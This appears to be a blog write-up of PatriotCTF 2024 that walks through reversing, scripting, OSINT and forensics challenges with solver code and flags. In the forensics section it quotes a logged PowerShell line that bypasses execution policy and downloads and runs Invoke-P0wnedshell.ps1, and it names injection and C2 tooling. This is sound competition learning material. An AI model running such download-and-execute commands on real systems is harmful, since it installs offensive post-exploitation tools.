Throughout the past weekend, I’ve played in the PatriotCTF 2024 event. Let’s get into it.
Rev
Password Protector
We’ve been after a notorious skiddie who took the “Is it possible to have a completely secure computer system” question a little too literally. After he found out we were looking for them, they moved to live at the bottom of the ocean in a concrete box to hide from the law. Eventually, they’ll have to come up for air…or get sick of living in their little watergapped world. They sent us this message and executable. Please get their password so we can be ready. “Mwahahaha you will nOcmu{9gtufever crack into my passMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ympword, i’ll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV”
To make better sense on the given message, let’s look at the executable first.
We’re given a .pyc file, which is a compiled Python file. We can easily decompile it using pylingual
Pylingual gives this output:
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: passwordProtector.py
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 2024-06-24 01:36:28 UTC (1719192988)
import os
import secrets
from base64 import *
def promptGen():
flipFlops = lambda x: chr(ord(x) + 1)
with open('topsneaky.txt', 'rb') as f:
first = f.read()
bittys = secrets.token_bytes(len(first))
onePointFive = int.from_bytes(first) ^ int.from_bytes(bittys)
second = onePointFive.to_bytes(len(first))
third = b64encode(second).decode('utf-8')
bittysEnc = b64encode(bittys).decode('utf-8')
fourth = ''
for each in third:
fourth += flipFlops(each)
fifth = f"Mwahahaha you will n{fourth[0:10]}ever crack into my pass}fourth[10:]}word, i'll even give you the key and the executable:::: {bittysEnc}"
return fifth
def main():
print(promptGen())
if __name__ == '__main__':
main()
Let’s go back to the message, and structure it in a way to clearly see the variables:
Mwahahaha you will n
Ocmu{9gtuf
crack into my pass
MmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ymp
word, i'll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV
Knowing this, we have our variables:
fourth[0:10] = "Ocmu{9gtuf"
fourth[10:] = "MmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ymp"
bittysEnc = "Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"
We can now reverse the process to get the password:
import base64
from pwn import xor
fourth_part1 = "Ocmu{9gtuf"
fourth_part2 = "MmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ymp"
bittysEnc = "Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"
bittys = base64.b64decode(bittysEnc) # bittysEnc = b64encode(bittys).decode('utf-8')
third = ''.join(chr(ord(c) - 1) for c in (fourth_part1 + fourth_part2)) # fourth += lambda x: chr(ord(x) + 1)
second = base64.b64decode(third) # third = b64encode(second).decode('utf-8')
first = xor(second, bittys)
print(first.decode())
Puzzle Room
As you delve deeper into the tomb in search of answers, you stumble upon a puzzle room, its floor entirely covered in pressure plates. The warnings of the great necromancer, who hid his treasure here, suggest that one wrong step could lead to your doom.
You enter from the center of the eastern wall. Although you suspect you’re missing a crucial clue to guide your steps, you’re confident that everything you need to safely navigate the traps is already within reach.
At the center of the room lies the key to venturing further into the tomb, along with the promise of powerful treasures to aid you on your quest. Can you find the path, avoid the traps, and claim the treasure (flag) on the central platform?
This is a strange challenge. We’re given a gigantic .py file, containing a maze.
Let’s take a look at the code:
#!/usr/bin/env python
import time
import random
#### Crypto stuff not important
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
class AESCipher(object):
def __init__(self, key):
self.bs = AES.block_size
self.key = hashlib.sha256(key.encode()).digest()
def encrypt(self, raw):
raw = self._pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return base64.b64encode(iv + cipher.encrypt(raw.encode()))
def decrypt(self, enc):
enc = base64.b64decode(enc)
iv = enc[: AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return AESCipher._unpad(cipher.decrypt(enc[AES.block_size :])).decode("utf-8")
def _pad(self, s):
return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)
@staticmethod
def _unpad(s):
return s[: -ord(s[len(s) - 1 :])]
class bcolors:
HEADER = "\033[95m"
OKBLUE = "\033[94m"
OKCYAN = "\033[96m"
OKGREEN = "\033[92m"
WARNING = "\033[93m"
FAIL = "\033[91m"
ENDC = "\033[0m"
BOLD = "\033[1m"
UNDERLINE = "\033[4m"
def slow_print(msg, delay=0):
for letter in msg:
time.sleep(delay)
print(letter, end="", flush=True)
print()
def how_did_you_succumb_to_a_trap():
slow_print(
bcolors.FAIL + "FWOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOSH" + bcolors.ENDC,
delay=0.04,
)
ways_to_get_got = [
"Well, you sure found the trap—too bad it found you first.",
"That one step forward just turned you into a well-done adventurer.",
"Turns out not checking for traps does lead to a fiery conclusion.",
"Took one step too many... and now you’re part of the decor.",
"Next time, maybe trust your instincts before you become toast.",
"Maybe next time you’ll sneeze before stepping onto the fire trap.",
"Well, if you were looking for a quick tan, mission accomplished.",
"Looks like you found the fire... with your face.",
"Well, that’s one way to light up the room—too bad it’s you that’s burning.",
"Guess those fire-resistant potions were back in your pack, huh?",
"You just turned 'walking into danger' into 'walking into a bonfire.'",
"At least now we know what happens when you don’t watch your step... you sizzle.",
"You really lit up the room...",
]
slow_print(random.choice(ways_to_get_got))
def how_did_you_avoid_the_fire():
ways_to_avoid = [
"Good thing you sneezed before walking in or you'd be toast!",
"That was close-who knew stopping to tie your boot would keep you safe?",
"You had a bad feeling about this room, and it turns out, you were right!",
"Good thing you hesitated, or else you'd be one roast adventurer",
"You stopped, unsure for just a moment—and that indecision saved your life.",
"That brief moment of doubt was all it took to avoid being incinerated.",
"Lucky that you bent down to adjust your gear—one more step and you'd be fried.",
"That sudden itch you stopped to scratch just saved you from being flame-broiled.",
"Lucky you had to tighten your pack strap—you missed the fire by a heartbeat.",
"Good thing you hesitated—one more step and you'd be barbecue.",
]
slow_print(bcolors.OKGREEN + random.choice(ways_to_avoid) + bcolors.ENDC)
class PathGroup:
tiles = []
current_cordinates = None
path_history = []
def __repr__(self):
return "[X] {} -- {} \n".format(self.tiles, self.path_history)
grid = [
[
"SPHINX",
"urn",
"vulture",
"arch",
"snake",
"urn",
"bug",
"plant",
"arch",
"staff",
"SPHINX",
],
[
"plant",
"foot",
"bug",
"plant",
"vulture",
"foot",
"staff",
"vulture",
"plant",
"foot",
"bug",
],
[
"arch",
"staff",
"urn",
"Shrine",
"Shrine",
"Shrine",
"plant",
"bug",
"staff",
"urn",
"arch",
],
[
"snake",
"vulture",
"foot",
"Shrine",
"Shrine",
"Shrine",
"urn",
"snake",
"vulture",
"foot",
"vulture",
],
[
"staff",
"urn",
"bug",
"Shrine",
"Shrine",
"Shrine",
"foot",
"staff",
"bug",
"snake",
"staff",
],
[
"snake",
"plant",
"bug",
"urn",
"foot",
"vulture",
"bug",
"urn",
"arch",
"foot",
"urn",
],
[
"SPHINX",
"arch",
"staff",
"plant",
"snake",
"staff",
"bug",
"plant",
"vulture",
"snake",
"SPHINX",
],
]
def print_grid_with_path_group(grid, pg):
for i, x in enumerate(grid):
for j, y in enumerate(x):
if (i, j) in pg.path_history:
if (i, j) == pg.path_history[-1]:
print(bcolors.FAIL + str("YOU").ljust(8, " ") + bcolors.ENDC, end="")
else:
print(str("STEP").ljust(8, " "), end="")
elif y == "SPHINX": # Highlight traps
print(bcolors.WARNING + str(y).ljust(8, " ") + bcolors.ENDC, end="")
else:
print(str(y).ljust(8, " "), end="")
print()
def try_get_tile(tile_tuple):
try:
return grid[tile_tuple[0]][tile_tuple[1]], (tile_tuple[0], tile_tuple[1])
except Exception as e:
return None
def print_current_map():
for x in grid:
for y in x:
print(str(y).ljust(8, " "), end="")
print()
# This is you at (3,10)!
starting_tile = (3, 10)
starting_path = PathGroup()
starting_path.tiles = ["vulture"]
starting_path.current_cordinates = starting_tile
starting_path.path_history = [starting_tile]
def move(path, tile):
sub_path = PathGroup()
sub_path.tiles.append(tile)
sub_path.current_cordinates = tile
sub_path.path_history = path.path_history.copy()
sub_path.path_history.append(tile)
return sub_path
cur_tile = starting_tile
def menu(path):
cur_tile = path.current_cordinates
next_tile = None
while next_tile == None:
print(
bcolors.OKGREEN
+ "\t ------------- The puzzle room layout -------------"
+ bcolors.ENDC
)
print_grid_with_path_group(grid, path)
print("".join([try_get_tile(x)[0] for x in path.path_history]))
choice = input(f"Which direction will you journey next? {"".join([try_get_tile(x)[0] for x in path.path_history])}: ").upper()
# Hope you have python 3.10!
match choice:
case "N":
next_tile = (cur_tile[0] -1, cur_tile[1])
case "S":
next_tile = (cur_tile[0] +1, cur_tile[1])
case "E":
next_tile = (cur_tile[0], cur_tile[1] +1)
case "W":
next_tile = (cur_tile[0], cur_tile[1] -1)
case "NE":
next_tile = (cur_tile[0] -1, cur_tile[1] +1)
case "NW":
next_tile = (cur_tile[0] -1, cur_tile[1] -1)
case "SE":
next_tile = (cur_tile[0] +1, cur_tile[1] +1)
case "SW":
next_tile = (cur_tile[0] +1, cur_tile[1] -1)
case _:
print("That doesn't seem to be a valid direction")
new_path = move(path, next_tile)
return new_path
slow_print(
"With your hulking strength you break down the door to a room clearly designed to hold riches."
)
slow_print(
"The door FLINGS across the room and lands on (3,9) and a massive ray a fire ignites the room."
)
slow_print(".", 0.3)
slow_print("..", 0.3)
slow_print("...", 0.3)
how_did_you_avoid_the_fire()
slow_print(
"Phew, good thing you weren't in the room yet. Clearly it's booby trapped and you step onto the first tile (3,10)"
)
def check_path(path):
for tile in path.path_history:
if tile[1] > 10 or tile[1] < 0:
how_did_you_succumb_to_a_trap()
exit(-1)
if tile[0] > 6 or tile[0] < 0:
how_did_you_succumb_to_a_trap()
exit(-1)
if path.current_cordinates in [(3, 9), (3, 10)] or try_get_tile(path.current_cordinates)[0] == "SPHINX":
how_did_you_succumb_to_a_trap()
exit(-1)
# Ensure unique path and other logic remains
if len(set(path.path_history)) != len(path.path_history):
how_did_you_succumb_to_a_trap()
exit(-1)
for tile in path.path_history[:-1]:
if try_get_tile(path.current_cordinates)[0] == try_get_tile(tile)[0]:
how_did_you_succumb_to_a_trap()
exit(-1)
if try_get_tile(path.current_cordinates)[0] != "Shrine" and len(
set([x[1] for x in path.path_history])
) != len([x[1] for x in path.path_history]):
how_did_you_succumb_to_a_trap()
exit(-1)
if try_get_tile(path.current_cordinates)[0] == "Shrine":
key = "".join([try_get_tile(x)[0] for x in path.path_history])
enc_flag = b"FFxxg1OK5sykNlpDI+YF2cqF/tDem3LuWEZRR1bKmfVwzHsOkm+0O4wDxaM8MGFxUsiR7QOv/p904UiSBgyVkhD126VNlNqc8zNjSxgoOgs="
obj = AESCipher(key)
dec_flag = obj.decrypt(enc_flag)
if "pctf" in dec_flag:
slow_print(
bcolors.OKBLUE
+ "You've done it! All the traps depress and a rigid 'click' can be heard as the center chest opens! As you push open the top your prize sits inside!"
+ bcolors.ENDC
)
print(bcolors.OKCYAN + dec_flag + bcolors.ENDC)
exit(0)
else:
slow_print(
"You step onto the center area expecting your prize, but a loud whirling sound is heard instead. The floor plates make a large mechanical click sounds and engage the fire trap once again!"
)
how_did_you_succumb_to_a_trap()
exit(-1)
cur_path = starting_path
while True:
n_path = menu(cur_path)
check_path(n_path)
cur_path = n_path
Let’s just play the game and see what happens:
$ python3 puzzle_room.py
With your hulking strength you break down the door to a room clearly designed to hold riches.
The door FLINGS across the room and lands on (3,9) and a massive ray a fire ignites the room.
.
..
...
You stopped, unsure for just a moment—and that indecision saved your life.
Phew, good thing you weren't in the room yet. Clearly it's booby trapped and you step onto the first tile (3,10)
------------- The puzzle room layout -------------
SPHINX urn vulture arch snake urn bug plant arch staff SPHINX
plant foot bug plant vulture foot staff vulture plant foot bug
arch staff urn Shrine Shrine Shrine plant bug staff urn arch
snake vulture foot Shrine Shrine Shrine urn snake vulture foot YOU
staff urn bug Shrine Shrine Shrine foot staff bug snake staff
snake plant bug urn foot vulture bug urn arch foot urn
SPHINX arch staff plant snake staff bug plant vulture snake SPHINX
vulture
Which direction will you journey next?:
(Keep in mind the names of the tiles, they will be important later on)
Alright, it’s a maze. What’s the goal?
## SNIP
if try_get_tile(path.current_cordinates)[0] == "Shrine":
key = "".join([try_get_tile(x)[0] for x in path.path_history])
enc_flag = b"FFxxg1OK5sykNlpDI+YF2cqF/tDem3LuWEZRR1bKmfVwzHsOkm+0O4wDxaM8MGFxUsiR7QOv/p904UiSBgyVkhD126VNlNqc8zNjSxgoOgs="
obj = AESCipher(key)
dec_flag = obj.decrypt(enc_flag)
if "pctf" in dec_flag:
slow_print(
bcolors.OKBLUE
+ "You've done it! All the traps depress and a rigid 'click' can be heard as the center chest opens! As you push open the top your prize sits inside!"
+ bcolors.ENDC
)
print(bcolors.OKCYAN + dec_flag + bcolors.ENDC)
exit(0)
else:
slow_print(
"You step onto the center area expecting your prize, but a loud whirling sound is heard instead. The floor plates make a large mechanical click sounds and engage the fire trap once again!"
)
how_did_you_succumb_to_a_trap()
exit(-1)
Alright, so we need to get to the Shrine, without triggering any traps, and the only way we get the flag is if we walk on the correct tiles. Let’s (manually) try and pathfind ourselves to the shrine.
After a lot of trial and error, we can now map all safe routes to get to the Shrine.
So, we can see that there are two paths to the Shrine, one from the bottom (starting with SW), and one from the top (starting with NW).
It was at this point that I realized that there were far too many possible paths to the Shrine. Let’s go back to the drawing board.
Solution
Let’s go back. We know from the code that the flag is encrypted with AES, and the key is the names of the tiles we step on. We also know that the flag contains the string “pctf”. Let’s add some print statements, so we can see the key after each movement. Let’s modify the code:
def menu(path):
cur_tile = path.current_cordinates
next_tile = None
while next_tile == None:
print(
bcolors.OKGREEN
+ "\t ------------- The puzzle room layout -------------"
+ bcolors.ENDC
)
print_grid_with_path_group(grid, path)
print("".join([try_get_tile(x)[0] for x in path.path_history]))
+ choice = input(f"Which direction will you journey next? {"".join([try_get_tile(x)[0] for x in path.path_history])}: ").upper()
- choice = input(f"Which direction will you journey next?
Now, let’s play the game again:
~/infosec/current-ctfs/patriot/puzzleroom 20:40:05
❯ python3 puzzle_room.py
With your hulking strength you break down the door to a room clearly designed to hold riches.
The door FLINGS across the room and lands on (3,9) and a massive ray a fire ignites the room.
.
..
...
Good thing you hesitated, or else you'd be one roast adventurer
Phew, good thing you weren't in the room yet. Clearly it's booby trapped and you step onto the first tile (3,10)
------------- The puzzle room layout -------------
SPHINX urn vulture arch snake urn bug plant arch staff SPHINX
plant foot bug plant vulture foot staff vulture plant foot bug
arch staff urn Shrine Shrine Shrine plant bug staff urn arch
snake vulture foot Shrine Shrine Shrine urn snake vulture foot YOU
staff urn bug Shrine Shrine Shrine foot staff bug snake staff
snake plant bug urn foot vulture bug urn arch foot urn
SPHINX arch staff plant snake staff bug plant vulture snake SPHINX
vulture
Which direction will you journey next? vulture: NW
------------- The puzzle room layout -------------
SPHINX urn vulture arch snake urn bug plant arch staff SPHINX
plant foot bug plant vulture foot staff vulture plant foot bug
arch staff urn Shrine Shrine Shrine plant bug staff YOU arch
snake vulture foot Shrine Shrine Shrine urn snake vulture foot STEP
staff urn bug Shrine Shrine Shrine foot staff bug snake staff
snake plant bug urn foot vulture bug urn arch foot urn
SPHINX arch staff plant snake staff bug plant vulture snake SPHINX
vultureurn
Which direction will you journey next? vultureurn:
So, for every step we take, the next tile’s name is appended to the key. Doesn’t this mean we can just bruteforce the key? If we know the constraints of the key, we can generate all possible keys and decrypt the flag with each key. So, what are the constraints?
- The key has to start with ‘vulture’
- The key cannot contain the same word twice
This looks feasible. Let’s write some code to generate all possible keys:
from itertools import permutations
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
class AESCipher(object):
# same code as from the challenge
def generate_possible_words(base_word='vulture', possible_words=None):
if possible_words is None:
possible_words = ['SPHINX', 'Shrine', 'arch', 'bug', 'foot', 'plant', 'snake', 'staff', 'urn', 'vulture']
possible_words = [word for word in possible_words if word != base_word]
all_combinations = []
for r in range(1, len(possible_words) + 1):
for perm in permutations(possible_words, r):
all_combinations.append(base_word + ''.join(perm))
return all_combinations
results = generate_possible_words()
print(f"Total combinations: {len(results)}")
for key in results:
obj = AESCipher(key)
enc_flag = b"FFxxg1OK5sykNlpDI+YF2cqF/tDem3LuWEZRR1bKmfVwzHsOkm+0O4wDxaM8MGFxUsiR7QOv/p904UiSBgyVkhD126VNlNqc8zNjSxgoOgs="
try:
dec_flag = obj.decrypt(enc_flag)
if "pctf" in dec_flag:
print(dec_flag, key)
break
except Exception:
continue
This code will generate all possible keys, and decrypt the flag with each key. If the flag contains “pctf”, we print the flag and the key. Let’s run this code:
$ python3 bf.py
Total combinations: 986409
pctf{Did_you_guess_it_or_apply_graph_algorithms?} vulturesnakearchplantbugstafffooturnShrine
Yeah, that’s it. The flag is pctf{Did_you_guess_it_or_apply_graph_algorithms?}
, and the key is vulturesnakearchplantbugstafffooturnShrine
.
I realized later on that it doesn’t matter the spot you walk into the Shrine, so I could literally have just walked straight to the Shrine, because there were only four squares to the Shrine. Oh well, it was fun to solve it this way.
Misc
Emoji Stack
Welcome to Emoji Stack, the brand new stack based emoji language! Instead of other stack based turing machines that use difficult to read and challenging characters like + - and [], Emoji Stack uses our proprietary patent pending emoji system.
The details of our implentation is below:
👉: Move the stack pointer one cell to the right 👈: Move the stack pointer one cell to the lef 👍: Increment the current cell by one, bounded by 255 👎: Decrement the current cell by one, bounded by 0 💬: Print the ASCII value of the current cell 🔁##: Repeat the previous instruction 0x## times
The Emoji Stack is 256 cells long, with each cell supporting a value between 0 - 255.
As an example, the program “👍🔁47💬👉👍🔁68💬👉👍🔁20💬” Would output “Hi!” with the following execution flow:
[0, 0, 0, 0] 👍🔁47
[0x48, 0, 0, 0] 💬👉: H
[0x48, 0, 0, 0] 👍🔁68
[0x48, 0x69, 0, 0] 💬👉: i
[0x48, 0x69, 0, 0] 👍🔁20
[0x48, 0x69, 0x21, 0] 💬: !
Author: CACI
This is just a stack based language. We can write a simple interpreter for this language. Here’s the code:
def emoji_stack_interpreter(code):
# stack size
stack_size = 256
stack = [0] * stack_size
pointer = 0
# Pointless for loop wrapper
def repeat_command(command, count):
for _ in range(count):
interpret_command(command)
# I love if statements
def interpret_command(command):
nonlocal pointer
if command == '👉':
pointer = (pointer + 1) % stack_size
elif command == '👈':
pointer = (pointer - 1) % stack_size
elif command == '👍':
stack[pointer] = (stack[pointer] + 1) % 256
elif command == '👎':
stack[pointer] = (stack[pointer] - 1) % 256
elif command == '💬':
print(chr(stack[pointer]), end='')
i = 0
while i < len(code):
command = code[i]
if command == '🔁':
repeat_count = int(code[i+1:i+3], 16)
previous_command = code[i-1]
repeat_command(previous_command, repeat_count)
i += 3 # pointer
else:
interpret_command(command)
i += 1
with open('input.txt', 'r') as f:
program = f.read()
#program = "👍🔁47💬👉👍🔁68💬👉👍🔁20💬"
emoji_stack_interpreter(program)
This code reads the program from a file called input.txt
, and interprets it. Let’s run this code:
$ python3 emoji_stack.py
CACI{TUR!NG_!5_R011!NG_!N_H!5_GR@V3}
Making Baking Pancakes
How many layers are on your pancakes? nc chal.pctf.competitivecyber.club 9001
We’re only given a netcat port. Let’s connect to it:
$ nc chal.pctf.competitivecyber.club 9001
Welcome to the pancake shop!
Pancakes have layers, we need you to get through them all to get our secret pancake mix formula.
This server will require you to complete 1000 challenge-responses.
A response can be created by doing the following:
1. Base64 decoding the challenge once (will output (encoded|n))
2. Decoding the challenge n more times.
3. Send (decoded|current challenge iteration)
Example response for challenge 485/1000: e9208047e544312e6eac685e4e1f7e20|485
Good luck!
Challenge: Vm0xMFlXRnRWa2RVYmtwT1ZsWndVRlpzV21GWlZuQllaVWRHV2xadVFsbGFWVnByVkRGYWMxTnVjRmRXZWtGNFdXdGFTMVpYU2tkWGJGcE9WakpvTmxac1ZtRlpWa3B5VGxab1VGWnNXbTlVVmxaM1RWWmtjMWRzV2s1V2JIQllWVzAxVTJGV1NsVldiR2hWVm14d1dGUlVSbUZTTVZaeVpFWldhVlpzY0ZsWFYzUnZVakZaZUZkclZsSldSM001fDY=
(0/1000) >>
It’s a scripting challenge. We need to decode the base64 string and send it back. Let’s write a script for this:
import base64
from pwn import *
r = remote('chal.pctf.competitivecyber.club', 9001)
def solve(enc):
chall = base64.b64decode(enc).decode().split("|")
ct = chall[0]
n = int(chall[1])
for i in range(n):
ct = base64.b64decode(ct).decode()
return ct
iteration = 0
while iteration < 1000:
r.recvuntil(b'Challenge: ')
enc = r.recvline().decode().strip()
decoded_ct = solve(enc)
r.sendline(f"{decoded_ct}|{iteration}".encode())
iteration += 1
log.info(iteration)
r.interactive()
This script works 90% of the time. Let’s just run it:
$ python3 solve.py
[*] 995
[*] 996
[*] 997
[*] 998
[*] 999
[*] 1000
[*] Switching to interactive mode
(999/1000) >> Wow you did it, you've earned our formula!
DO NOT SHARE:
pctf{store_bought_pancake_batter_fa82370}
[*] Got EOF while reading in interactive
OSINT
Light warning, there is a lot of guessing in this category. I will try and explain my thought process as much as possible, but because it’s OSINT, it’s hard to be concrete.
On The Run
We’ve been tracking the adversary for weeks, and he just slipped up and posted this gorgeous high-rise view on his Twitter. His caption was “awesome meeting with a gorgeous view!” Can you track down his location?
Flag format will be PCTF{<business name of his location>}. Not a street address. If he were in a WeWork space, it would be PCTF{wework}.
This is a pretty simple challenge, where we’re supposed to find out the specific location of the image. We’ve been given a skyline, so we can easily use Google Lens to try and find potential matches..
The first result points towards Raytheon, but it’s not the flag and it’s a pretty global company, so we can’t narrow it down using that. The second result is a renting list.
We’ve been given the address of the function:
1800 North Lynn St., Arlington, VA 22209
It’s not a precise enough street address, so I used the third result, which is a yelp page, which gives us the exact address of the building.
(recognize the image?)
The flag isn’t The View of DC
because the company closed down in 2019. For some ironic reason, there is a WeWork space in the building, but the flag is actually PCTF{convene}
Phase One
We had one of our agents infiltrate an adversary’s lab and photograph a gateway device that can get us access to their network. We need to develop an exploit as soon as possible. Attached is a picture of the device. Get us intel on what MCU the device is utilizing so we can continue with our research.
Flag format: pctf{mcu_vendor_name} (example: pctf{broadcom}
On the image, we can clearly see DLINK DSL-6300V
written on the device. Let’s make a google search for "D-Link DSL-6300V"
.
There is a manual for the device, which is a rabbit hole. Don’t go there. The third result gives us the page for the modem on Deviwiki.
The flag is PCTF{ikanos}
.
Night School
It’s said that a famous geocacher has left a cache on our Fairfax campus. He took this picture before disappearing into the night. Could you help us find where this picture was taken? The flag is pctf{NAME_OF_STATUE}
The image is too dark to be able to use Google Lens, so we can focus on Fairfax campus
. As we know the campus is in Fairfax, and we know the univeristy is George Mason University, we can search for George Mason University statues
.
Irritatingly so, there is a large statue of George Mason himself, and searching for George Mason statue
gives us a statue of George Mason himself, and not any other statue on the campus. The entire statues website is filled with pictures of the George Mason statue, which further irritates us ctf players.
A lot of randomly clicking around, got me to discover-mason, which just so happens to have a picture of the statue in the image.
The flag is pctf{communitas}
.
Forensics
Bad Blood
Nothing is more dangerous than a bad guy that used to be a good guy. Something’s going on… please talk with our incident response team. nc chal.competitivecyber.club 10001 suspicious.evtx
Let’s connect to the nc server first:
$ nc chal.competitivecyber.club 10001
Welcome analyst.
We recently had to terminate an employee due to a department-cut.
One of our most dramatic terminations was that of a C-suite executive, Jack Stoneturf.
We believe he may have maliciously infected his workstation to maintain persistence on the corporate network.
Please view the provided event logs and help us conduct our investigation.
Answer the following questions for the flag:
Q1. Forensics found post exploitation activity present on system, network and security event logs. What post-exploitation script did the attacker run to conduct this activity?
Example answer: PowerView.ps1
We’re given an .evtx
file, which is an event log file for Windows. Luckily, windows has a built-in tool called eventvwr
which can be used to view these logs.
The file is filled with 465 logs, with most of them containing base64 encoded scripts, but the outlier is this “Execute a Remote Command” log:
Creating Scriptblock text (1 of 1):
Set-ExecutionPolicy Bypass -Score Process [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString
('https://raw.githubusercontent.com/IAMinZoho/OFFSEC-Powershell/main/Invoke-P0wnedshell.ps1'))
Okay, first question is answered. Let’s move on to the next one.
$ nc chal.competitivecyber.club 10001
Welcome analyst.
We recently had to terminate an employee due to a department-cut.
One of our most dramatic terminations was that of a C-suite executive, Jack Stoneturf.
We believe he may have maliciously infected his workstation to maintain persistence on the corporate network.
Please view the provided event logs and help us conduct our investigation.
Answer the following questions for the flag:
Q1. Forensics found post exploitation activity present on system, network and security event logs. What post-exploitation script did the attacker run to conduct this activity?
Example answer: PowerView.ps1
>> Invoke-P0wnedshell.ps1
That makes sense.
Q2. Forensics could not find any malicious processes on the system. However, network traffic indicates a callback was still made from his system to a device outside the network. We believe jack used process injection to facilitate this. What script helped him accomplish this?
Example answer: Inject.ps1
>>
There is another log that contains a download of a script:
Let’s answer the question:
$ nc chal.competitivecyber.club 10001
# SNIP
Q3. We believe Jack attempted to establish multiple methods of persistence. What windows protocol did Jack attempt to abuse to create persistence?
Example answer: ProtoName
>>
I wasn’t quite sure about this one, so I just guessed WinRM
.
$ nc chal.competitivecyber.club 10001
# SNIP
Q4. Network evidence suggest Jack established connection to a C2 server. What C2 framework is jack using?
Example answer: C2Name
>>
I had absolutely no idea about this one, so I just used the awesome-command-control list, and made this script:
from pwn import *
c2_tool_names = [
"Apfell", "AsyncRat C#", "Baby Shark", "C3", "Caldera",
"CHAOS", "Dali", "Empire", "Covenant", "Silent Trinity",
"Faction C2", "Flying A False Flag", "FudgeC2", "Godoh",
"iBombshell", "HARS", "Koadic", "MacShellSwift", "Ninja",
"NorthStarC2", "EvilOSX", "Nuages", "Octopus", "PoshC2",
"Powerhub", "Prismatica", "QuasarRAT", "Merlin", "Sliver",
"SK8PARK/RAT", "Throwback", "Trevor C2", "Metasploit Framework",
"Meterpreter", "Pupy", "PetaQ", "Pinjectra", "ReverseTCPShell",
"SHAD0W", "SharpC2", "Gcat", "DNScat2", "EggShell",
"EvilVM", "Void-RAT", "WEASEL"
]
for c2_tool in c2_tool_names:
r = remote('chal.competitivecyber.club', 10001)
r.sendlineafter(b'>>', b'Invoke-P0wnedshell.ps1')
r.sendlineafter(b'>>', b'Invoke-UrbanBishop.ps1')
r.sendlineafter(b'>>', b'WinRM')
r.sendlineafter(b'>>', c2_tool.encode())
if "That can't be right" in r.recvline().decode().strip():
log.info(f"Trying {c2_tool}: wrong")
r.close()
else:
log.info(f"Success with {c2_tool}!")
r.interactive()
[*] Trying Empire: wrong
[*] Closed connection to chal.competitivecyber.club port 10001
[+] Opening connection to chal.competitivecyber.club on port 10001: Done
[*] Success with Covenant!
[*] Switching to interactive mode
That'll do. Thanks for your help, here's a flag for your troubles.
The flag is pctf{3v3nt_l0gs_reve4l_al1_a981eb}
.
Conclusion
I had very fun playing this CTF, so I’d like to thank George Mason University’s Competitive Cyber Club for hosting this CTF! Thank you so much for reading this (long overdue) writeup, and I hope to see you sometime soon!